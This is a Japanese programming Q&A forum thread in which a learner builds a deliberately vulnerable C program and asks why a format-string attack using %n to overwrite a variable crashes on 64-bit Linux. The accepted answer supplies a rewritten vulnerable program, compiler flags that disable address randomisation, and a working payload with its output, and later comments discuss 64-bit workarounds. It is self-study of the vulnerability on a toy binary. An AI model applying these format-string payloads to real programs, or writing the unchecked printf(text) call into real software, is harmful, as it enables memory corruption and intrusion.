質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

新規登録して質問してみよう
ただいま回答率
85.48%
C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

Q&A

解決済

2回答

2342閲覧

セキュリティに関する実験がうまくいかないです。

strike1217

総合スコア651

C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

0グッド

1クリップ

投稿2016/11/25 12:04

編集2016/11/26 07:29

.#include <stdio.h>
.#include <stdlib.h>
.#include <string.h>

int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
strcpy(text, argv[1]);

printf("正しい方法:\n");
printf("%s", text);

printf("\n誤った方法:\n");
printf(text);

printf("\n");

// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}

というプログラムを作りました。わざと脆弱性があります。
./test AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x

正しい方法:
AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
誤った方法:
AAAA.90389000.901687a0.8fe9c620.901687a0.8fe0e9fa.e5d5b9b8.8fdd3c58.41414141
[*] test_val @ 0x00600c18 = -72 0xffffffb8

8番目に41414141が来ているのがわかります。
この test_val (アドレス:0x00600c18)の内容を書き換えたいのです。

./test $(printf "\x18\x0c\x60")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x

誤った方法:
 `73760000.7353f7a0.73273620.7353f7a0.731e59fa.cb54e8b8.731aac58.25600c18

./test $(printf "\x18\x0c\x60")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
これで書き換わるはずなのですが・・・・
segmentation fault になってしまいます。

わかる方いませんか?
Linux 64bitです。

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

ikedas

2016/11/26 02:20

実験しようとしているのはどのような脆弱性なのか、説明を書いていただけますか。
ikedas

2016/11/26 02:42

ご質問冒頭のプログラムをコンパイルして実行してみましたが、プログラムの内容から予想される通り、ご質問で述べておられるような結果にはなりません。 ご自分がやりたいこと、ご自分で実際にやってみたことを、もれなく書いて下さい。省略したり説明をとばしたりしたところがあったら、そういうところは読む人には一切わからないんですから (エスパーじゃないんですから当然ですよね)。
naomi3

2016/11/26 03:28

ポインタが64bitなのでprintf("[*] test_val @ 0x%p = %d 0x%08x\n", &test_val, test_val, test_val); とした方がよいのでは?
strike1217

2016/11/26 07:24

すいません。プログラムの方は省略してます。全部書きますね。
strike1217

2016/11/26 07:30

printf("[*] test_val @ 0x%p = %d 0x%08x\n", &test_val, test_val, test_val); これでも出力される結果は変わりませんでした。
raccy

2016/11/26 08:50

ソースコードがソースコードとして書かれていないため正確に表現できていません。編集画面でソースコード全体を選択し、メニューの「<code>」ボタンを押してください。
guest

回答2

0

ベストアンサー

macOS Sierra、Apple LLVM version 8.0.0 (clang-800.0.42.1)を用いて、test_valの書き換えに成功しました。LinuxのGCCでも可能かと思いますが、結構制限があります。

まず、今のコードと方法には複数の問題点があります。

  1. 64bit環境でのユーザーメモリ空間は0x00007fffffffffff(8Bytes)以下であるため、最初のテキストが"\xff\xff\xff\xff\xff\x7f\x00\x00"(8Bytes)のようにしなくてはならない。しかし、この文字列にはヌル文字が含まれるため、strcpyやprintfでその先が読み込む事ができない。最初のテキストでアドレスを表すときに\x00が必ず入る場合は動作しない。

=> 64bitではこの方法でアドレスを表現することは不可能。32bitにしなければならない。(-m32オプションを付けてコンパイル)
2. 32bitの場合でも0x00ffffff(4Bytes)以下の場合は、最初のテキストが"\xff\xff\xff\x00"(4Bytes)とヌル文字が含まれて、同様に不可能になる。staticなローカル変数は通常若いアドレスに配置されるため、0x00ffffff以下となって表現できない。
=> staticではない普通のローカル変数をターゲットにしなければならない。
3. デフォルトではASLR(アドレス空間配置のランダム化)が有効なため、test_valのアドレスが起動する度に変化する。
=>ASLRを無効にしなければならない。(-Wl,-no-pieオプションを付けてコンパイル)

以上を踏まえて、ソースコードを下記のように書き直しました。(このコードはintとポインタが32bitであることが前提であるため、64bit環境では正しく使えません)

C

1#include <stdio.h> 2#include <stdlib.h> 3#include <string.h> 4 5int main(int argc, char *argv[]) 6{ 7 char text[1024] = {0}; 8 int test_val = -72; 9 strcpy(text, argv[1]); 10 11 printf("正しい方法:\n"); 12 printf("%s", text); 13 14 printf("\n誤った方法:\n"); 15 printf(text); 16 17 printf("\n"); 18 19 // Debug output 20 printf("[*] test_val @ 0x%08x = %d 0x%08x\n", (unsigned int)&test_val, 21 test_val, test_val); 22 printf("[*] text @ 0x%08x = %u 0x%08x\n", (unsigned int)text, 23 *((unsigned int *)text), *((unsigned int *)text)); 24 exit(0); 25}

以下、実行結果です。ソースコードのファイル名はabunai.cです。なお、fishというマイナーなシェルを使っています。シェル内でコマンド実行結果を使う方法は$(コマンド)ではなく(コマンド)になっていますので、読み替えてください。λはシェルのプロンプトです。

λ clang -m32 -Wall -O0 -std=c11 -Wl,-no_pie abunai.c abunai.c:15:9: warning: format string is not a string literal (potentially insecure) [-Wformat-security] printf(text); ^~~~ abunai.c:15:9: note: treat the string as an argument to avoid this printf(text); ^ "%s", 1 warning generated.
λ ./a.out AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x 正しい方法: AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x 誤った方法: AAAA.bffff590.00000400.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000014.00000068.00000013.bffff590.00000400.00000000.bffff590.00001d61.ffffffb8.41414141 [*] test_val @ 0xbffff58c = -72 0xffffffb8 [*] text @ 0xbffff590 = 1094795585 0x41414141
λ ./a.out (printf "\x8c\xf5\xff\xbf")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n 正しい方法: ����%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n 誤った方法: ����bffff590.00000400.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000014.00000065.00000013.bffff590.00000400.00000000.bffff590.00001d61.ffffffb8. [*] test_val @ 0xbffff58c = 175 0x000000af [*] text @ 0xbffff590 = 3221222796 0xbffff58c

※ �部分は文字化け

最適化の影響を受けないように-O0(最適化無し)を付けています。最初のコマンドでtest_valのアドレスが0xbffff58cであることを確認しましたので、"AAAA""\x8c\xf5\xff\xbf"(リトルエンディアンなので逆順)になるようにします。あとは、41414141の場所に"%n"を投げ込めば、test_valが変わっているのがわかると思います。

なお、"AAAA"部分に入れるアドレスが間違っていたり、"%n"の順番が間違っていれば、どこかのアドレスを読みに行って書き換えようとします。ほとんどの場合はAddress boundary errorでSIGSEGVシグナルが吐かれて落ちてしまうでしょう。アドレスが間違ってないか、"%n"の位置が間違ってないかを確認してください。環境によって、test_valのアドレス、"%n"が入る位置が異なりますので、ご注意ください。

投稿2016/11/26 10:24

編集2016/11/26 10:29
raccy

総合スコア21735

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

strike1217

2016/11/26 11:52

おおおお〜〜〜 すごい! 感激です! 自分もやってみます。
strike1217

2016/11/27 06:10

私も、mac と linuxの両方でやってみましたが、できませんでした。 ./source $(print "\x0c\xf7\xff\xbf")%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%n macだと上記のようになり、Segmentation faultになってしまいます。 Exec-Shield や stack guard などのセキュリティ機能により不可能なのかな?? と思ったのですが・・・・
raccy

2016/11/27 06:20

%nを試す前に%08xにして、test_valのアドレスと最後に表示される値が本当に一致しているかどうかですね。場所と値もそうですが、何度か試して、ASLRが本当に無効かどうか(実行する度に違う値にならないか)も確認してください。あと、もちろん、32bitでコンパイルしてますよね?
strike1217

2016/11/27 06:21

ああ〜〜〜 できました!!!!! macで $(printf "\x18\xf7\xff\xbf")%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%n fを付け忘れていました。 ありがとうございます
strike1217

2016/11/27 06:21

linuxでももう少し頑張ってみます
strike1217

2016/11/27 06:23

きゃあああああああ〜〜〜 Linuxでもできました!!!! ありがとうございます。 徹夜してもわからなかったのですが、ついにできました。
strike1217

2016/11/27 06:24

64bitだと絶対にできないんでしょうか?
raccy

2016/11/27 06:40

64bitで書き換え可能なユーザーメモリ空間のアドレスでの最大値から考えると、必ずアドレス表現にヌル文字'\0'が入り、今の先頭にアドレス表現を持ってくる方法だとヌル文字が越えられないので無理です。ただ、アドレス表現を文字列の最後にもってこればいけるかも知れません。(文字の位置調整がかなり面倒になりますが) あと、このコードにはstrcpyの部分にもバッファオーバーフローの問題があるので、そこをつけば何かできそうな気はしますけど、何ができるかまではわからないです。スタックの積まれ方が逆だったら、バッファオーバーフローでそのまま書き換えできるんですけど。
strike1217

2016/11/27 10:24

なるほど! ありがとうございます。
strike1217

2016/11/27 11:10 編集

gcc test.c -o test_64でコンパイルして64bitにコンパイルして、再度試してみたところ、、、、 ASLR無効でLinuxで行いまいした。 [*] test_val @ 0xffffdd9c = -72 0xffffffb8 0xffffdd9c → \x9c\xdd\xff\xff このようになっていたので、「これなら!」と思ってやってみたら、Segmentaion fault になってしまいました。 パラメータの長さによってtest_valのアドレスが変化しているのが見えました。 64bitで32bitと同じようにやってみたら、できないというのは、、、どういうことでしょう? 質問が多くて御免なさい。
strike1217

2016/11/27 11:13

あ! わかりました。 64bitだとヌル文字が見えないのですね! これだと 0x00000000ffffdd9cになっているということで合っていますか?
raccy

2016/11/27 11:23

64bitで試そうとする場合は、アドレスを出すところも%016xにしないと全部が見えないです(64bitなので16進数だと16文字になる)。具体的にいくつかは実際に出してみないとわかりませんが、0x00007fffffffffff以下になっているのが確認できるはずです。
strike1217

2016/11/27 11:35

$(printf "アドレス"),%x,%x,%x,%x,%x,%x,%n 現在はこんな感じでパラメータを渡していると思います。 64bitでNULL文字が入らないような表現はどのようにすればできるかわかりますか?? これは結構難しいんでしょうか??
raccy

2016/11/27 12:24

%x,%x,%x,%x,%x,%x,%n$(printf "アドレス") と言う形にすれば、もともとtextに入っていたヌル文字と組み合わせて表現可能です(char text[1024] = {0};としていればの話です。0埋めしないと、ヌル文字で埋まるかは不確定な部分が出てきます)。ただ、%xなどの文字を増やしたり減らしたりする度に入れるところがずれていくので、何番目になるかの調整が結構面倒になります。
strike1217

2016/11/27 12:46

あああ~~ やはり%xの個数でアドレスが変わるんですね! gdbで何でそうなるのかみてみます! textを0で初期化している場合に限るんですね! 試してみます! 質問が多くてすいません。ありがとうございます!
guest

0

「$(printf "\x18\x0c\x60")」 の部分はシェルで2つのコントロールコードとバッククオートに置換されてから、./testに渡されるのではないですか?
シングルクオートで括ったら、もちろん、「$(printf "\x18\x0c\x60")」がそのまま出ます。

「%08x」はそれに対する引数があるものとprintfがみなし、おそらくスタックの値を読み取るので、でたらめな値を表示します。

「%n」の場合は、printfがスタックの値を読み取り、でたらめな値をアドレスとみなし、そこに書き込もうとするから、segmentation faultになります。偶然、安全なアドレスならばsegmentation faultになりません。
狙い通り、0x00600c18番地への書き込むのは、コードを拝見する限り、無理と思います。

ちなみに私はLinuxではなく、64bit用WindowsのCygwinというUNIXライクな環境を使っています。
私の環境では、偶然、segmentation faultに相当するような事態にはなりませんでした。

投稿2016/11/26 09:07

naomi3

総合スコア1105

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

strike1217

2016/11/26 11:54

自分も以下のようなサイトを見つけました。 https://gist.github.com/hhc0null/08c43983b4551f506722 書き換えられないアドレスがあるみたいですね。 「偶然安全なアドレス」というのはどのようにして、見つけんるですかね? GDBでしょうか?
naomi3

2016/11/26 12:35

コンパイラ、リンカ、ローダが実行イメージを論理アドレス空間に配置します。64bitのアドレス空間のうち有効なアドレスはわずかと思います。ユーザーコードがカーネル空間にアクセスできたら困りますよね。
strike1217

2016/11/26 12:58

なるほど! ありがとうございます。 こちらでもよく調べてみますね
guest

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.48%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問